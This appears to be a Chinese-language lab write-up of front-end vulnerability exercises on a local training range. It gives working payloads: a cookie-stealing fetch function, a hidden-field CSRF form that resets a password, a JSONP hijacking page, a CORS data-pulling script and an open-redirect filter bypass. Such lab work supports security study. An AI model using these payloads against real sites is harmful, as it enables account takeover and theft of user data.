前端漏洞
漏洞环境:前端漏洞靶场环境
——front(系统有两个用户: user1/user1 、 admin1/admin1)
- 挖掘环境中的反射型XSS漏洞,(以弹框test13证明)
- 复现环境中的CSRF漏洞,设计表单,当管理员点击URL以后自动将自己的密码重置为: 1234
- 抓包得到修改密码的post表单
- 修改表单并准备相关注入函数
function stealCookies() {
fetch(
"http://localhost:8000?url=http://localhost:8983/front/info.php?name=123456",
{
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": document.cookie,
},
body: JSON.stringify({
newpassword: "123456",
passwordrepeat: "123456",
}),
},
);
}
- 设计运行条件,通过CSRF跨站执行该js脚本
脚本设计上有一点问题,即cookies的获取:
实际上,CSRF利用重定向机制自动附上Cookies,且CORS机制不允许通过fetch函数请求资源,于是手动构造POST表单
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>My Page</title>
</head>
<body>
<h1>This is a hacker page</h1>
<p>It is not a real page</p>
<p>It is a page to steal your account</p>
<form action="http://localhost:8983/front/info.php?name=" method="POST">
<input type="text" name="newpassword" value="123456" hidden="hidden">
<input type="password" name="passwordrepeat" value="123456" hidden="hidden">
<input type="submit" value="Submit">
</form>
</body>
</html>
POST表单的提交方式CORS策略允许通过,且查看发现请求发现已经带上了Cookies,可执行CSRF攻击
- 根据上一步的请求表单制作钓鱼网页
目标站点登录,维持Cookies便于利用:
打开构造好的表单,准备执行CSRF攻击:
点击表单提交按钮,由于和靶机站点之间有session存在,Cookies得以维持在其生命周期内,在生命周期中,根据CORS默认策略,会为POST请求附上Cookies
提交表单结束,页面被重定向到靶机
且由于密码更新,原有的Cookies被替换,原会话Cookies过期,Session将自动被退出,这时候已经完成了密码的窃取和替换
尝试提交原密码,发现表单生效
提交新密码,成功登录
- 复现环境中JSON Hijacking漏洞,在另一个网站(或本机另一个端口)获取用户信息
<!DOCTYPE html>
<head>
<meta charset="utf-8">
<title>My Page</title>
<script>
function handleResponse(data) {
for (var key in data) {
if (data.hasOwnProperty(key)) {
var value = data[key];
var element = document.createElement("h3");
element.textContent = key + ": " + value;
document.body.appendChild(element);
}
}
}
</script>
</head>
<body>
<h1>This is a hacker page</h1>
<p>It is not a real page</p>
<p>It is a page to steal your account</p>
<script src="http://localhost:8983/front/userdata.php?callback=handleResponse"></script>
</body>
</html>
- 通过在服务器Web目录创建.htaccess文件,控制服务器响应头,实现CORS漏洞,在另一网站,接收HTML接口的用户信息。
构造跨站请求信息的函数
function CORS(url) {
fetch(url, {
method: "GET",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
}).then((response) => response.text())
.then((data) => {
console.log("Success:", data);
var table = document.createElement("div");
table.innerHTML = data;
document.body.appendChild(table);
})
.catch((error) => {
console.error("Error:", error);
});
}
CORS("http://localhost:8983/front/cors.php");
访问其他端口的页面,发现成功
- 挖掘环境中的URL跳转漏洞,构造请求,跳转到百度官网
发现请求对http,https有过滤
研究发现可以输入//和http等效
Comments
Leave a comment